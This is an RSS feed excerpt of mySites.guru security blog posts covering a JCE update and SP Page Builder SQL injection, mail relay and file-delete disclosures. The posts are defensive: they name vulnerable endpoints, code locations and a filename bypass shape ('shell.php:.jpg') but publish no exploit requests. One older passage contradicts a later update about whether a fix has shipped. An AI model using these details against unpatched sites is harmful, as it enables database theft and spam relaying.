&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt; - three of the eleven published records, each scored 10.0 Critical and each marked as being exploited.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox: one cookie and you are a Super User&lt;/a&gt; - the earlier authentication bypass, CVE-2026-61425, that led to this audit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Our Balbooa Forms disclosure&lt;/a&gt; - the same vendor, the flaw that started the whole exchange.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Finding rogue admin accounts across every Joomla site&lt;/a&gt; - the tool we used to spot the planted accounts in this attack, in any group and not just Super Users.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect content vs hacked files&lt;/a&gt; - the two tools for finding the shells a file-upload RCE leaves behind.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;Hacked yesterday, exploited today&lt;/a&gt; - how quickly disclosure turns into exploitation, which is the whole reason we fix before we publish.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities&lt;/a&gt; - the wider run of findings this is part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to fix a hacked Joomla or WordPress site&lt;/a&gt; - what to do if a site running Gridbox has already been hit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; - who reported the active exploitation.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>responsible disclosure</category><category>rce</category><enclosure url="https://mysites.guru/_astro/gridbox-23-critical-vulnerabilities.1yjT1Qvz.png" length="0" type="image/png"/></item><item><title>JCE 2.9.99.10 Fixes Another Security Issue</title><link>https://mysites.guru/blog/jce-2-9-99-10-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-2-9-99-10-security-update/</guid><description>JCE 2.9.99.10 patches a file rename flaw that let a privileged user create a hidden file in the folder they were browsing. The release also hardens far more than its changelog lists.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension, and it sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;. On 29 July 2026 the developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-10-released&quot;&gt;released JCE 2.9.99.10&lt;/a&gt; with one item in the changelog marked SECURITY.&lt;/p&gt;
&lt;p&gt;That item is a small one. An authenticated user with a privileged editor profile could rename a file so that it became hidden in the folder they were browsing. It needs a login, a profile that grants file browser access, and the Rename permission on top of that. It is not remote code execution and it is not another June.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites in bulk, &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; already indexes every extension on every connected site, so finding everything below 2.9.99.10 and pushing the update across all of them is a two-step job rather than an afternoon of logging into administrator panels. The &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; remains the page of truth for the far more serious June attack, which is still the reason most Joomla sites need attention.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;JCE 2.9.99.10 fixes an authenticated, privileged-user file rename flaw that could create a hidden file. No CVE assigned as of 29 July 2026. It is a routine update, not an emergency. The genuinely urgent JCE problem was fixed back in 2.9.99.5, and any site still below that release is the one to worry about.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE 2.9.99.10&lt;/strong&gt; released 29 July 2026, with one changelog item marked SECURITY&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;authenticated, privileged user&lt;/strong&gt; could rename a file so it became hidden in the folder being browsed&lt;/li&gt;
&lt;li&gt;Rename also no longer silently &lt;strong&gt;replaces a file that already exists&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No CVE&lt;/strong&gt; assigned as of 29 July 2026&lt;/li&gt;
&lt;li&gt;Materially less severe than &lt;strong&gt;CVE-2026-48907&lt;/strong&gt;, the unauthenticated flaw fixed in 2.9.99.5 and later added to CISA&apos;s Known Exploited Vulnerabilities catalog&lt;/li&gt;
&lt;li&gt;Comparing the two packages shows the release &lt;strong&gt;hardens considerably more than the changelog lists&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Update at your normal cadence, but treat anything &lt;strong&gt;below 2.9.99.5&lt;/strong&gt; as urgent&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What JCE 2.9.99.10 actually fixes&lt;/h2&gt;
&lt;p&gt;The vendor describes the security item in one sentence: an authenticated, privileged user could rename a file in a way that created a hidden file in the folder they were browsing, instead of the rename being rejected as invalid. The release notes add that renaming will no longer replace a file that already exists, which is a second, quieter fix bundled into the same change.&lt;/p&gt;
&lt;p&gt;Three conditions have to hold before any of that is reachable. The attacker needs a working login, a JCE editor profile assigned to them that grants file browser access such as the Image Manager or File Browser, and the Rename permission within that profile. On a site where lower-trust users get an editor profile with file management turned on, that is a realistic combination. On a site where only administrators touch the file browser, it is not.&lt;/p&gt;
&lt;p&gt;The outcome is a hidden file, not code execution. The extension of the renamed file is inherited from the original, so an attacker cannot choose it. A file called &lt;code&gt;photo.jpg&lt;/code&gt; can be turned into &lt;code&gt;.jpg&lt;/code&gt;, which disappears from the JCE file listing and from a plain directory listing on the server. It conceals something already uploaded rather than getting anything new onto the server.&lt;/p&gt;
&lt;h2&gt;Is this as serious as the June JCE vulnerability?&lt;/h2&gt;
&lt;p&gt;No, and conflating the two would be a disservice. June&apos;s issue was CVE-2026-48907: unauthenticated, CVSS 10.0, exploitable by anyone who could reach the site, and added to &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA&apos;s Known Exploited Vulnerabilities catalog&lt;/a&gt; after evidence of real-world attacks. It was fixed in &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5&lt;/a&gt; on 3 June, followed by a &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;full hardening audit in 2.9.99.6&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The 2.9.99.10 issue sits at the opposite end of the scale. It needs authentication, a privileged profile, and a specific permission, and it yields concealment rather than execution. No CVE had been assigned as of 29 July 2026, which is a reasonable outcome for a bug of this shape reported privately to a developer who patched it.&lt;/p&gt;
&lt;p&gt;Scale is the reason it matters. JCE is the most widely installed Joomla editor, so a file handling weakness in it reaches a lot of sites if it ever chains with something else.&lt;/p&gt;
&lt;h2&gt;What the JCE changelog does not mention&lt;/h2&gt;
&lt;p&gt;We unpacked both release packages and compared them file by file. Of the eight sub-packages inside &lt;code&gt;pkg_jce&lt;/code&gt;, only &lt;code&gt;com_jce&lt;/code&gt; contains real code changes; the seven bundled plugins are version bumps and nothing else. Within &lt;code&gt;com_jce&lt;/code&gt;, most changed files differ only in their version banner, leaving a much smaller set of real changes.&lt;/p&gt;
&lt;p&gt;Several of those changes are substantive security hardening that appears nowhere in the changelog:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The blocked executable extension list grew a lot. 2.9.99.10 adds &lt;code&gt;pht&lt;/code&gt;, &lt;code&gt;phtm&lt;/code&gt;, &lt;code&gt;phps&lt;/code&gt;, &lt;code&gt;phpt&lt;/code&gt;, &lt;code&gt;pgif&lt;/code&gt;, &lt;code&gt;aspx&lt;/code&gt;, &lt;code&gt;asa&lt;/code&gt;, &lt;code&gt;asax&lt;/code&gt;, &lt;code&gt;cer&lt;/code&gt;, &lt;code&gt;jsp&lt;/code&gt;, &lt;code&gt;jspx&lt;/code&gt;, &lt;code&gt;cgi&lt;/code&gt;, &lt;code&gt;pl&lt;/code&gt;, &lt;code&gt;inc&lt;/code&gt;, &lt;code&gt;shtml&lt;/code&gt;, &lt;code&gt;shtm&lt;/code&gt;, &lt;code&gt;stm&lt;/code&gt;, &lt;code&gt;htaccess&lt;/code&gt;, &lt;code&gt;htpasswd&lt;/code&gt; and &lt;code&gt;ini&lt;/code&gt;. None of those were blocked in 2.9.99.9.&lt;/li&gt;
&lt;li&gt;Each part of a filename is now trimmed of colons and semicolons before comparison, and the whole name is Unicode normalised. That defeats classic bypass shapes such as &lt;code&gt;shell.php:.jpg&lt;/code&gt; and fullwidth-character variants.&lt;/li&gt;
&lt;li&gt;The random filename suffix went from five hexadecimal characters of an md5 of &lt;code&gt;uniqid(rand(), 1)&lt;/code&gt; to sixteen characters from &lt;code&gt;random_bytes()&lt;/code&gt;. The changelog mentions the new fully-randomised naming option, but not that the old generator was guessable.&lt;/li&gt;
&lt;li&gt;Rename, copy and move now validate file extensions. Previously only the filename was checked on those operations, not whether the extension was permitted by the profile.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;allowroot&lt;/code&gt; filesystem option is gone. In 2.9.99.9, setting it pointed the file browser at the site root rather than the configured images directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of that is criticism of the developer, who has shipped seven releases on this extension since May and has been open about the June incident. But it does mean the changelog understates what this release is. If you were deciding whether to bother, decide on the hardening rather than the one listed item.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are actually affected?&lt;/h2&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru, not one is running a version in the affected 2.9.99.6 to 2.9.99.9 window. Sites that stay close to current move through these releases fast, and the handful sitting on a 2.9.99.x build had already gone past it.&lt;/p&gt;
&lt;p&gt;The uncomfortable half of the same data is that hundreds of connected Joomla sites are still on a 2.7.x build of JCE, years behind, and a long tail sits on 2.6.x and older 2.9.x releases. Those sites are not exposed to the rename issue. They are exposed to the unauthenticated upload flaw that CISA confirmed was being actively exploited, which is a far worse place to be.&lt;/p&gt;
&lt;p&gt;If you look after Joomla sites for other people, that gap is the thing to plan around. The sites that need your attention are almost never the ones a release behind. They are the ones nobody has touched since the last redesign.&lt;/p&gt;
&lt;h2&gt;How do I update JCE across every Joomla site?&lt;/h2&gt;
&lt;p&gt;On a single site, update JCE the way you would any Joomla extension, through the Joomla Update or Extensions manager in the administrator. JCE 2.9.99.x runs on Joomla 3, 4, 5 and 6, and the developer confirms it does not need the Backwards Compatibility plugin on Joomla 5 or 6.&lt;/p&gt;
&lt;p&gt;Across many sites, doing that by hand does not scale, which is the problem &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; exists to solve. Every connected Joomla site has its full extension inventory indexed, so you can list every site with JCE installed grouped by version, identify everything below 2.9.99.10, and push the update across all of them in one batch. The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; will show you the same inventory for your own sites before you commit to anything.&lt;/p&gt;
&lt;p&gt;While you are in there, it is worth checking older sites for the traces of the June attack rather than assuming an update is a cleanup. Updating an extension closes the hole; it does not remove anything that came through it. Our &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;guide to finding every site running a vulnerable JCE&lt;/a&gt; covers the indicators of compromise and the tool that finds rogue profiles.&lt;/p&gt;
&lt;h2&gt;If you cannot update JCE straight away&lt;/h2&gt;
&lt;p&gt;The developer has published a specific interim measure for this issue, which is unusual and welcome. Disable the Rename option in the settings of each file-related plugin, such as the Image Manager and the File Browser, for any profile assigned to untrusted or lower-trust users. That removes the permission the flaw depends on until the update is applied.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;This mitigation applies to the rename issue only. It does nothing for the unauthenticated upload flaw fixed in 2.9.99.5. If a site is below 2.9.99.5, no permission change will protect it, because the attack does not need a login at all.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The broader point the developer makes alongside it is the right one, and it applies well beyond JCE. The features and access you grant to lower-trust users on any Joomla extension should be the minimum they actually need, reviewed occasionally rather than set once and forgotten. Most file browser permissions in the wild were granted years ago to someone who has since left.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build and no shared codebase, so WordPress sites running the block editor or TinyMCE are unaffected by this release and by every other JCE issue covered here.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-10-released&quot;&gt;JCE Pro 2.9.99.10 released&lt;/a&gt; - the developer&apos;s own announcement, including the interim mitigation for sites that cannot update immediately.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;JCE Editor changelog&lt;/a&gt; - the full version-by-version history, useful for seeing how many releases a site has skipped.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48907&quot;&gt;CVE-2026-48907 on NVD&lt;/a&gt; - the record for the unauthenticated flaw fixed in 2.9.99.5, the one that actually matters for older sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities catalog&lt;/a&gt; - CISA only lists a flaw here with evidence of exploitation in the wild.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/jce-2-9-99-10-security-update.rc6hp1H8.png" length="0" type="image/png"/></item><item><title>Pre-Authentication SQL Injection and Mail Relay in SP Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/</guid><description>mySites.guru found four vulnerabilities in SP Page Builder for Joomla: a pre-auth SQL injection, an unauthenticated mail relay, and two more. Fixed in 6.7.1. A fifth flaw survived that release and was only fixed on 12 August in 6.8.0.</description><pubDate>Mon, 27 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-page-builder&quot;&gt;SP Page Builder&lt;/a&gt; is JoomShaper&apos;s drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 unauthenticated icon-upload zero-day&lt;/a&gt; that was being exploited in the wild and fixed in 6.6.2. During a later audit of SP Page Builder 6.7.0, &lt;strong&gt;mySites.guru found four further vulnerabilities, and reported them to JoomShaper before disclosing anything publicly.&lt;/strong&gt; JoomShaper closed all four in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you run SP Page Builder on any Joomla site, update to 6.7.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 12 August 2026: fixed at last, in 6.8.0&lt;/p&gt;
  &lt;p&gt;A fifth flaw in this same release, &lt;strong&gt;CVE-2026-65876&lt;/strong&gt;, is &lt;strong&gt;still unpatched in 6.7.1&lt;/strong&gt;, and is reported to be under active exploitation. It is an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint. When this post first went out we noted that CVE and said we had not tested it. We have now, and the CVE record&apos;s claim that 6.7.1 fixes it is wrong. &lt;strong&gt;JoomShaper shipped 6.8.0 on 12 August 2026&lt;/strong&gt; and it fixes that fifth flaw. We re-tested the released package the same day and confirmed it. &lt;strong&gt;Update to 6.8.0 now&lt;/strong&gt;, and if you applied the hand mitigation below, take it out again afterwards. The same release also fixes a pre-authentication remote code execution flaw we reported on 27 July, which is &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;written up separately here&lt;/a&gt;. &lt;a href=&quot;#the-fifth-flaw-that-671-did-not-fix&quot;&gt;The detail is below&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found &lt;strong&gt;four vulnerabilities&lt;/strong&gt; in SP Page Builder 6.7.0 and reported them to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pre-authentication SQL injection (CVSS 4.0 8.7, High).&lt;/strong&gt; The Dynamic Content endpoint placed a request value straight into the database query&apos;s &lt;code&gt;ORDER BY&lt;/code&gt;. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker could &lt;strong&gt;read the entire database&lt;/strong&gt;, password hashes included&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated mail relay (CVSS 4.0 6.9, Medium).&lt;/strong&gt; The contact-form addons protected the recipient address with a secret that was &lt;strong&gt;hardcoded identically into every copy of the extension&lt;/strong&gt;. Because the secret was public in the shipped source, an attacker could forge it and send email to any recipient with a spoofed sender, from your domain and mail server, an open spam and phishing relay&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticated SQL injection (CVSS 4.0 7.1, High).&lt;/strong&gt; The media manager&apos;s search and date filters placed request input into the database query unescaped. Reachable by a low-privilege author&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticated arbitrary file delete (CVSS 4.0 7.2, High).&lt;/strong&gt; A media action deleted a file at a request-supplied path with no traversal guard, so a low-privilege author could delete &lt;code&gt;configuration.php&lt;/code&gt; or a protective &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Page Builder 6.7.1 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately, fixed in &lt;strong&gt;6.7.1&lt;/strong&gt; on 27 July 2026. The Joomla CNA assigned four CVEs the same day: &lt;strong&gt;CVE-2026-65766, CVE-2026-65877, CVE-2026-65878 and CVE-2026-65879&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A fifth issue, CVE-2026-65876, was still live in 6.7.1&lt;/strong&gt; despite the CVE record saying otherwise, and was reported to be exploited in the wild. It was finally fixed in &lt;strong&gt;6.8.0 on 12 August 2026&lt;/strong&gt;, which we verified against the released package. &lt;strong&gt;Update to 6.8.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous request that reads the database&lt;/h2&gt;
&lt;p&gt;SP Page Builder&apos;s Dynamic Content feature renders lists of content, articles, tags and custom collections, through a front-end endpoint. For the tags source, it built the query&apos;s sort clause by pasting a &lt;code&gt;direction&lt;/code&gt; value taken &lt;strong&gt;raw from the request body&lt;/strong&gt; onto the end of &lt;code&gt;ORDER BY title&lt;/code&gt; (&lt;code&gt;dynamic_content.php:232&lt;/code&gt;, with the same pattern duplicated at &lt;code&gt;CollectionData.php:2004&lt;/code&gt;). A sort direction is one of the places you cannot safely quote a value, so it has to be restricted to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt;. This path did not restrict it.&lt;/p&gt;
&lt;p&gt;The only thing standing in front of the endpoint is a CSRF token check, and that is not the barrier it looks like. Joomla issues a valid token to &lt;strong&gt;every&lt;/strong&gt; visitor, including anonymous ones, the moment they load any page. A scripted attacker simply fetches a token and sends it back, so in practical terms this is a pre-authentication &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;: an anonymous attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every stored record.&lt;/p&gt;
&lt;p&gt;We confirmed it on our own SP Page Builder test install with a time-based proof: a crafted &lt;code&gt;direction&lt;/code&gt; value that made the database pause for a measurable few seconds against an instant baseline, while a normal request returned the expected tag data, which together show the injected code ran inside a real query. We did not extract real data. The fix restricts the direction to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt; before it reaches the query, in both places, and puts a permission check in front of the endpoint so an anonymous visitor cannot reach it at all.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A database read leaves your site looking untouched: no file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live, treat the database as potentially copied, rotate the Joomla secret and any stored API keys, and assume password hashes are known.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The one that surprised us: an open mail relay from a shared secret&lt;/h2&gt;
&lt;p&gt;The root cause here is a design decision rather than a slip. SP Page Builder&apos;s contact-form addons, &lt;code&gt;ajax_contact&lt;/code&gt; and &lt;code&gt;form_builder&lt;/code&gt;, let a site owner set where form submissions are emailed. To stop a visitor tampering with that recipient, the addon signs it with a secret and checks the signature on submission. Sound idea. The problem is the secret: it is a single string &lt;strong&gt;hardcoded into the addon source (&lt;code&gt;site.php:24&lt;/code&gt;), identical in every copy of SP Page Builder ever shipped&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A secret that ships in the product is not a secret. Anyone with a copy of the extension, which is anyone, can read it and forge a valid signature offline. With that, an attacker could set the form&apos;s recipient to any address they liked, and its sender to anything they liked, and make the site send arbitrary email. Two smaller weaknesses removed the remaining friction: the built-in &quot;default&quot; captcha compared two values that both came from the attacker (&lt;code&gt;site.php:460&lt;/code&gt;), so it verified nothing, and the CSRF check switched itself off whenever Joomla page caching was enabled (&lt;code&gt;site.php:257&lt;/code&gt;), a common production setting.&lt;/p&gt;
&lt;p&gt;The upshot is an unauthenticated open mail relay. Any SP Page Builder site with a contact form on a published page could be made to send email to any recipient, with a spoofed sender, &lt;strong&gt;from the site&apos;s own domain and mail server&lt;/strong&gt;. That is a spam and phishing platform running on your domain&apos;s reputation, and the fastest way to get your legitimate mail blacklisted. We proved it on our test install: an anonymous request delivered a message to an address of our choosing with a spoofed sender, and the server reported success. The correct fix, which the update makes, is to derive the signature from the site&apos;s &lt;strong&gt;own&lt;/strong&gt; secret, unique per install, rather than a constant shared by every copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Hardcoding a secret into shipped source is a recurring class of bug (CWE-798). The moment the same key protects every install, it protects none of them. Joomla already gives each site a unique secret for exactly this purpose; that is what per-site signing should use.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The two that need a low-privilege login&lt;/h2&gt;
&lt;p&gt;The remaining two issues need an account, but only a low-privilege one: a Joomla user who can edit their own page-builder content, the sort of author account many sites hand out freely. Neither should be dismissed on that basis.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;media manager&apos;s JSON view&lt;/strong&gt; built its search query by pasting the &lt;code&gt;search&lt;/code&gt; and &lt;code&gt;date&lt;/code&gt; request values directly into the SQL with no escaping (&lt;code&gt;media.php&lt;/code&gt;, in &lt;code&gt;getDateFilters()&lt;/code&gt; and &lt;code&gt;getTotalMedia()&lt;/code&gt;), a SQL injection reachable by that low-privilege author, and with no CSRF token on the view. The &lt;strong&gt;media delete action&lt;/strong&gt; removed a file at a path taken from the request, with only cosmetic filtering and none of the traversal guard the sibling delete paths use (&lt;code&gt;media.php:804&lt;/code&gt;), so an author holding only the create permission could delete any file in the web root, &lt;code&gt;configuration.php&lt;/code&gt; or a protective &lt;code&gt;.htaccess&lt;/code&gt; included. Deleting the wrong file can break a site or strip a defence ahead of a further attack. The fixes add the missing input validation and the missing path boundary check.&lt;/p&gt;
&lt;h2&gt;The fifth flaw that 6.7.1 did not fix&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Added 10 August 2026.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;SP Page Builder 6.7.1 was credited with fixing five issues: our four, plus CVE-2026-65876, an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint. That fifth one was not ours and, as we wrote at the time, we had not tested it. We have now read the shipping 6.7.1 package, and the flaw is still in it.&lt;/p&gt;
&lt;p&gt;The endpoint takes its parameters straight out of the raw request body with no login, no permission check and no CSRF token of any kind, which puts it a step below even the Dynamic Content endpoint above. The category list it receives is meant to be forced to integers before it reaches the database. It is, in one place. But the same untouched value is handed to the helper that expands a category into its subcategories one line &lt;em&gt;earlier&lt;/em&gt;, and that helper pastes the list straight into a SQL &lt;code&gt;IN()&lt;/code&gt; clause. The sanitisation exists; it simply runs one line too late to matter.&lt;/p&gt;
&lt;p&gt;The consequence is the one the CVE describes and 6.7.1 was supposed to have removed: an anonymous visitor can read the whole database, password hashes included. We are not publishing a request; the vendor has already described the location publicly in their own support forum, and the flaw is reported to be under active exploitation, so the useful thing to publish is the mitigation.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Fixed in 6.8.0, released 12 August 2026&lt;/p&gt;
  &lt;p&gt;JoomShaper released 6.8.0 on 12 August 2026, sixteen days after 6.7.1, with the changelog entry &quot;Fixed an unauthenticated SQL injection in the article loading endpoint&quot;. We read the released package the same day: the category list is now passed through an integer cast before it reaches the subcategory helper, so the ordering problem described above is gone. Update to 6.8.0 or later.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Before 6.8.0 existed, the only option was to close the endpoint by hand. It is kept here for anyone who cannot update immediately. Edit &lt;code&gt;components/com_sppagebuilder/controllers/articles.php&lt;/code&gt; and make &lt;code&gt;die();&lt;/code&gt; the first statement inside &lt;code&gt;loadMoreArticles()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function loadMoreArticles()
{
    die();
    $app = Factory::getApplication();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That blocks the attack outright. It also switches the endpoint off, so the &quot;Load more&quot; button on article list addons stops returning results until you take the line out again. If you applied this between 10 and 12 August, remove it once you are on 6.8.0 or the button stays broken.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;SP Page Builder &lt;strong&gt;6.7.0&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected by the four issues we reported. JoomShaper fixed those in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;. This is separate from the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 icon-upload flaw&lt;/a&gt; fixed in 6.6.2: you want to be on 6.6.2 or later for that one, and 6.7.1 or later for these.&lt;/p&gt;
&lt;p&gt;CVE-2026-65876, the fifth issue, is the exception. It affects &lt;strong&gt;6.7.1 as well&lt;/strong&gt;, and there is no fixed release yet. JoomShaper has said 6.8.0 will close it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of SP Page Builder earlier than 6.7.1, assume your site is affected and update now. The critical SQL injection and the mail relay both need no real login, so if the site is online, the endpoints are reachable. 6.7.1 is no longer enough either: update to 6.8.0, which fixes CVE-2026-65876 and the separate pre-authentication code execution flaw we reported on 27 July.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update SP Page Builder safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.7.1. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade SP Page Builder across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check SP Page Builder reports 6.7.1 or later.&lt;/li&gt;
